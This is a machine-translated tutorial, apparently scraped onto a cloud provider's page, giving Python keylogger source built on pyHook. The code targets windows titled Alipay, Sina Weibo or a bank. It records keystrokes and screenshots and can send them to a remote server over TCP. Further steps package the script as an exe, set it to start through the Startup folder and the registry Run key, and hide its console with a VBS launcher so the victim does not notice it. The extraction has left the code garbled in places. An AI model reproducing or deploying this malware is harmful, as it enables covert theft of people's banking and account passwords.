Python uses Pyhook to monitor user mouse and keyboard events _python

Source: Internet
Author: User

This article with a simple monitor mouse, keyboard events program, to achieve access to user input (such as login to some of the site's account, password) function. After testing, for a "naked" computer, fully able to obtain the user input any information, but if the installation of anti-virus software, it will be enough. The implementation methods are as follows:

One, the code part : Obtains the user input information, and saves with the screenshot to the XX catalogue

#-*-Coding:utf-8-*-# import pythoncom import pyhook import time import socket from PIL import Imagegrab # #如果是 Remotely listening to a target computer, you can set up a server on your own, and then send the information back to server # def send_msg_to_server (msg): host= "" port=1234 buf_size=1024 addr= (host,p ORT) If Len (msg) >0:tcp_client_sock=socket.socket (socket.af_inet,socket). SOCK_STREAM) tcp_client_sock.connect (addr) info=time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ())) + ' from ' +socket.gethostname () + ': ' Tcp_client_sock.sendall (info+msg) tcp_client_sock.close () # #也可以将获取到的信息保存到本地文件下 # D 

EF write_msg_to_txt (msg): F=open (' d:/workspace/mytest/pyhook/media/monitor.txt ', ' a ') f.write (msg+ ' \ r \ n ') F.close () def onmouseevent (event): # Monitor Mouse events Global MSG If Len (msg)!=0: #send_msg_to_server (msg) write_msg_to _txt (MSG) msg= ' pic_name = time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ())) #将用户屏幕截图, saved to a local directory (can also be Sent remotely to its own server) pic = Imagegrab.grab () pic.save (' D:/workspaCe/mytest/pyhook/media/mouse_%s.png '% pic_name) return True def onkeyboardevent (event): #监听键盘事件 Global MSG TITL E= event. Windowname.decode (' GBK ') #通过网站title to determine whether the current Web site is a "listener target" if Title.find (U "Alipay")!=-1 or title.find (U ' Sina Weibo ')!=-1 or title.fi nd (U ' pu FA Bank ')!=-1: #Ascii: 8-backspace, 9-tab, 13-enter if (127 >= event. Ascii > To) or (event. Ascii = 8): MSG + Chr (event. ASCII) if (event. Ascii = = 9) or (event. Ascii =: #send_msg_to_remote (msg) write_msg_to_txt (msg) msg = ' #屏幕抓图实现 Pic_nam E = time.strftime ('%y%m%d%h%m%s ', Time.localtime (Time.time ()) pic = Imagegrab.grab () #保存成为以日期命名的图片 Pic.s Ave (' d:/workspace/mytest/pyhook/media/keyboard_%s.png '% pic_name) return True if __name__ = = "__main__": MSG = "#创建hook句柄 HM = Pyhook.hookmanager () #监控鼠标 hm. Subscribemouseleftdown (onmouseevent) hm. Hookmouse () #监控键盘 hm. KeyDown = Onkeyboardevent hm.
 Hookkeyboard () #循环获取消息 Pythoncom. 

 Pumpmessages ()

Second, use Py2exe to package the script:

Create a new py file setup.py, which reads as follows:

From Distutils.core Import setup
import py2exe
setup (console=["monitor.py"])
#setup (windows=[" monitor.py "])

The command line executes the following command:

Pythonsetup.pypy2exe

Three, set the program to start automatically:

Step ①:

Put the files that need to boot up (create a shortcut, and then) into the start/All Programs/Startup directory

Step ②:

Modify the registry: command line-regedit, and then to the following path:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

Create a new string value and edit: Set EXE file path
D:\workspace\mytest\pyhook\dist\monitor.exe

(The above two ways to start Monitor.exe, will pop up a command box, display the monitoring log information, so that the listener can be detected, you can try the following way)

Step ③:

Create a new. vbs file with the following contents:

Setwscriptobj=createobject ("Wscript.Shell")
Wscriptobj.run "D:\workspace\mytest\pyhook\dist\monitor.exe", 0

Double-click to run the VBS file, the Monitor.exe is started in the background (not a large black box will pop up).
Then the reference method ①, ② the VBS set to boot up.

Add:

1, the program involves a number of modules need to install their own;
2, the article in general "D:\workspace ..." such a path needs to be changed to their true path;
3, this code is only a test example, readers do not use it for illegal purposes.

Interested readers can improve the example of this article to make it more perfect.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.